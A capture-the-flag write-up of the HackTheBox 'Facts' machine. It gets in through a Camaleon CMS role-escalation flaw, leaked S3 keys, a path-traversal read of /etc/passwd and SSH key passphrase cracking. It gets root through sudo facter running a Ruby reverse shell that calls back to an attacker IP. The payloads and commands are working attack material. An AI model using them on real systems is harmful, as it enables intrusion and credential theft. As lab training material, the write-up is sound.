Preview
← BACK
Facts - Linux Easy Pwn HackTheBox Writeup Avatar

Facts

Recon

IP=10.129.25.11
nmap -Pn -p- -T4 -vv -oG nmap.grep $IP; nmap -sVC -Pn -p$(grep -oP '\d+(?=/open)' nmap.grep | paste -sd "," -) $IP; 
# Starting Nmap 7.93 ( https://nmap.org ) at 2026-02-01 17:02 CET
# Nmap scan report for facts.htb (10.129.25.11)
# Host is up (0.036s latency).
# 
# PORT      STATE SERVICE VERSION
# 22/tcp    open  ssh     OpenSSH 9.9p1 Ubuntu 3ubuntu3.2 (Ubuntu Linux; protocol 2.0)
# | ssh-hostkey:
# |   256 4dd7b28cd4df579ca42fdfc6e3012989 (ECDSA)
# |_  256 a3ad6b2f4abf6f48ac81b9453fdefb87 (ED25519)
# 80/tcp    open  http    nginx 1.26.3 (Ubuntu)
# |_http-server-header: nginx/1.26.3 (Ubuntu)
# |_http-title: facts
# 54321/tcp open  unknown
# | fingerprint-strings:
# |   GenericLines, Help, Kerberos, RTSPRequest, SSLSessionReq, TLSSessionReq, TerminalServerCookie:
# |     HTTP/1.1 400 Bad Request
# |     Content-Type: text/plain; charset=utf-8
# |     Connection: close
# |     Request
# |   GetRequest:
# |     HTTP/1.0 400 Bad Request
# |     Accept-Ranges: bytes
# |     Content-Length: 276
# |     Content-Type: application/xml
# |     Server: MinIO
# |     Strict-Transport-Security: max-age=31536000; includeSubDomains
# |     Vary: Origin
# |     X-Amz-Id-2: dd9025bab4ad464b049177c95eb6ebf374d3b3fd1af9251148b658df7ac2e3e8
# |     X-Amz-Request-Id: 18902ADA88943D95
# |     X-Content-Type-Options: nosniff
# |     X-Xss-Protection: 1; mode=block
# |     Date: Sun, 01 Feb 2026 16:02:51 GMT
# |     <?xml version="1.0" encoding="UTF-8"?>
# |     <Error><Code>InvalidRequest</Code><Message>Invalid Request (invalid argument)</Message><Resource>/</Resource><RequestId>18902ADA88943D95</RequestId><HostId>dd9025bab4ad464b049177c95eb6ebf374d3b3fd1af9251148b658df7ac2e3e8</HostId></Error>
# |   HTTPOptions:
# |     HTTP/1.0 200 OK
# |     Vary: Origin
# |     Date: Sun, 01 Feb 2026 16:02:51 GMT
# |_    Content-Length: 0
# 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
# Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
# 
# Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done: 1 IP address (1 host up) scanned in 95.73 seconds

nmap -sU --min-rate=5000 -p- $IP

User

Service Enumeration

tcp/54321

Exploring the web app

The website serves facts, we can randomly get one to generate there's comments below them though it's all static data.

Wappalyzer found some very special tech, it's 50% sure of Ruby and Ruby on Rail, and also jQuery, ok, ruby is interesting.

I randomly managed to get a really weird corrupted response when loading facts:

HTTP/0.9 1337 No response headers received


HTTP/1.1 200 OK
Server: nginx/1.26.3 (Ubuntu)
Date: Sun, 01 Feb 2026 16:02:23 GMT
Content-Type: text/html; charset=utf-8

Something weird is going on, let's keep that in mind.

Doing some fuzzing, no special subdomains, though for common web paths we hit the goldmine:

ffuf -c -w `fzf-wordlists` -u "http://facts.htb/FUZZ" -fw 1328

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0
________________________________________________

 :: Method           : GET
 :: URL              : http://facts.htb/FUZZ
 :: Wordlist         : FUZZ: /opt/lists/seclists/Discovery/Web-Content/common.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response words: 1328
________________________________________________

400                     [Status: 200, Size: 6685, Words: 993, Lines: 115, Duration: 1490ms]
404                     [Status: 200, Size: 4836, Words: 832, Lines: 115, Duration: 1470ms]
500                     [Status: 200, Size: 7918, Words: 1035, Lines: 115, Duration: 1178ms]
admin                   [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 580ms]
admin.cgi               [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 626ms]
admin.pl                [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 584ms]
admin.php               [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 589ms]
ajax                    [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 1350ms]
captcha                 [Status: 200, Size: 5252, Words: 23, Lines: 19, Duration: 2231ms]
error                   [Status: 500, Size: 7918, Words: 1035, Lines: 115, Duration: 148ms]
page                    [Status: 200, Size: 19593, Words: 3296, Lines: 282, Duration: 1055ms]
post                    [Status: 200, Size: 11308, Words: 1414, Lines: 152, Duration: 1694ms]
robots.txt              [Status: 200, Size: 99, Words: 12, Lines: 2, Duration: 913ms]
robots                  [Status: 200, Size: 33, Words: 2, Lines: 1, Duration: 1038ms]
rss                     [Status: 200, Size: 183, Words: 20, Lines: 9, Duration: 1470ms]
search                  [Status: 200, Size: 19187, Words: 3276, Lines: 272, Duration: 2763ms]
sitemap                 [Status: 200, Size: 3508, Words: 424, Lines: 130, Duration: 2245ms]
sitemap.gz              [Status: 500, Size: 7918, Words: 1035, Lines: 115, Duration: 2203ms]
sitemap.xml             [Status: 200, Size: 3508, Words: 424, Lines: 130, Duration: 2141ms]
up                      [Status: 200, Size: 73, Words: 4, Lines: 1, Duration: 49ms]
welcome                 [Status: 200, Size: 11966, Words: 1481, Lines: 130, Duration: 1731ms]

All /admin* paths redirect to /admin/login:

There's a lot of random stuff, /captcha randomly generates a small image with a letter or number and a noisy background, /up is just a bright green page, /search, /page and /post all have a search bar taht fetches data from /search?q=..., though it's not injectable.

Let's focus on the admin page, basic guessing is unsuccessful, though we can register an account, doing so and logging in gives us access to the back-office, it's Camaleon CMS v2.9.0.

Looking around we don't see much, we are a low "Client" role user, though we can play around with the CRUD of our user, the "Role" field is simply disabled trough HTML we can re-enable it and select "Administrator", then send the form. This doesn't work but we now know the exact syntax to update our user role to admin: &user[user]=admin, and the brackets are URL encoded.

Looking online I found CVE-2025-2304, there's no public exploit but the description is clear enough, we might be able to do the exact attack we were trying to do, but instead of sending a POST /admin/users/<user-id> via the "Update" button, we can use the "Change Password" feature which unsecrely uses POST /admin/users/6/updated_ajax.

The requests have a sort of CSRF token so we can't just send it to repeated easily, let's stick to simple interception with Burp Suite. I first tried adding &user%5Brole%5D=admin to the request but that fails, then I noticed that the "Update" request uses user[*]= for the fields, while the "Change Password" uses password[*]=, we can try to add &password%5Brole%5D=admin to the request, and that works!

Exploring the admin panel

There's a lot but nothing is useful to get RCE, it seems the Camaleon CMS devs have been really careful to avoid the classic RCE vectors, and some other CVE's are patched (uploading a .rb file via media manager into a specific directory).

After looking around a while, I ended up focusing on the settings, and in particular the AWS S3 configurations which leaks the access key and secret key:

We also see that tcp/54321 we saw at the beggining is the AWS S3 service, we can access it using the keys:

export AWS_ACCESS_KEY_ID=AKIA553D83444FCE20E3
export AWS_SECRET_ACCESS_KEY=hELOzcTdBfSZsSheS2iEXKtHOT8In1Ye0hik/xyf
export AWS_DEFAULT_REGION=us-east-1

aws s3 ls --endpoint-url http://facts.htb:54321
# 2025-09-11 14:06:52 internal
# 2025-09-11 14:06:52 randomfacts
aws s3 ls --endpoint-url http://facts.htb:54321 s3://internal
#                            PRE .bundle/
#                            PRE .cache/
#                            PRE .ssh/
# 2026-01-08 19:45:13        220 .bash_logout
# 2026-01-08 19:45:13       3900 .bashrc
# 2026-01-08 19:47:17         20 .lesshst
# 2026-01-08 19:47:17        807 .profile
aws s3 ls --endpoint-url http://facts.htb:54321 s3://internal/.ssh/
# 2026-02-01 20:39:03        571 authorized_keys
# 2026-02-01 15:07:23        464 id_ed25519
aws s3 sync --endpoint-url http://facts.htb:54321 s3://internal/.ssh/ .
# download: s3://internal/.ssh/authorized_keys to ./authorized_keys
# download: s3://internal/.ssh/id_ed25519 to ./id_ed25519

Nice, though we are still missing a username. Looking at the other files we don't find anything, going back onto the site, there's only a admin user.

Exploiting an LFI to leak passwd

Looking at the CVE's for Camaleon CMS I saw CVE-2024-46987, the GitHub advisory leaks the technique:

GET /admin/media/download_private_file?file=../../../../../../etc/passwd

Let's try that with Burp Suite:

It worked, if we filter by users that have a home directory we find trivia and william, let's try to ssh with the key:

chmod 600 id_ed25519
ssh -i id_ed25519 trivia@facts.htb
# Enter passphrase for key 'id_ed25519':
# trivia@facts.htb's password:
# Permission denied, please try again.
# trivia@facts.htb's password:

ssh -i id_ed25519 william@facts.htb
# william@facts.htb's password:
# Permission denied, please try again.
# william@facts.htb's password:

trivia allows publickey auth, while william doesn't, but we are still missing the passphrase! Let's try to crack it then:

ssh2john id_ed25519 > id_ed25519.hash
john --show=formats ssh.hash | jq '.[].rowFormats[].label'
# "SSH"

john --format=SSH --wordlist=`fzf-wordlists` ssh.hash
# Using default input encoding: UTF-8
# Loaded 1 password hash (SSH, SSH private key [MD5/bcrypt-pbkdf/[3]DES/AES 32/64])
# Cost 1 (KDF/cipher [0:MD5/AES 1:MD5/[3]DES 2:bcrypt-pbkdf/AES]) is 2 for all loaded hashes
# Cost 2 (iteration count) is 24 for all loaded hashes
# Will run 8 OpenMP threads
# Press 'q' or Ctrl-C to abort, 'h' for help, almost any other key for status
# 0g 0:00:00:16 0.00% (ETA: 2026-02-06 04:58) 0g/s 43.27p/s 43.27c/s 43.27C/s bambam..james1
# 0g 0:00:00:24 0.01% (ETA: 2026-02-06 10:42) 0g/s 42.54p/s 42.54c/s 42.54C/s kucing..morena
# dragonballz      (id_ed25519)
# 1g 0:00:01:35 DONE (2026-02-01 20:42) 0.01049g/s 33.58p/s 33.58c/s 33.58C/s billy1..imissu
# Use the "--show" option to display all of the cracked passwords reliably
# Session completed.

Ok the passphrase is dragonballz, let's ssh again:

ssh -i id_ed25519 trivia@facts.htb
# Enter passphrase for key 'id_ed25519':
# Welcome to Ubuntu 25.04 (GNU/Linux 6.14.0-37-generic x86_64)
# <SNIP>
trivia@facts:~$ id
# uid=1000(trivia) gid=1000(trivia) groups=1000(trivia)
trivia@facts:~$ ls
trivia@facts:~$ cd /home/william
trivia@facts:/home/william$ ls
# user.txt

And we got the user flag

Root

sudo -l
# Matching Defaults entries for trivia on facts:
#     env_reset, mail_badpass,
#     secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
# 
# User trivia may run the following commands on facts:
#     (ALL) NOPASSWD: /usr/bin/facter

Now for the hardest part of the challenge, looking at the ungodly new UI of GTFOBins. It seems that facter can run custom Ruby code from a designated directory, and not drop privileges, we can abuse this by passing it the --custom-dir arguement and pointing it at a directory we have write control over.

I grabbed a basic ruby reverse shell:

require 'socket'
s = TCPSocket.open('10.10.14.161', 4444)
while (cmd = s.gets)
  IO.popen(cmd, 'r') do |io|
    s.print io.read
  end
end

Then I wrote it to /tmp and called facter:

sudo facter --custom-dir=/tmp/ x

And then on our listener:

nc -lvnp 4444
# Ncat: Version 7.93 ( https://nmap.org/ncat )
# Ncat: Listening on :::4444
# Ncat: Listening on 0.0.0.0:4444
# Ncat: Connection from 10.129.25.11.
# Ncat: Connection from 10.129.25.11:51656.
pwd
# /tmp
cd ../
pwd
# /tmp

It's a bit cursed, it consider the custom-dir as the working directory so we can't really move out, but with absolute paths we can get the root flag:

cp /root/root.txt .
ls
# root.txt
# <SNIP>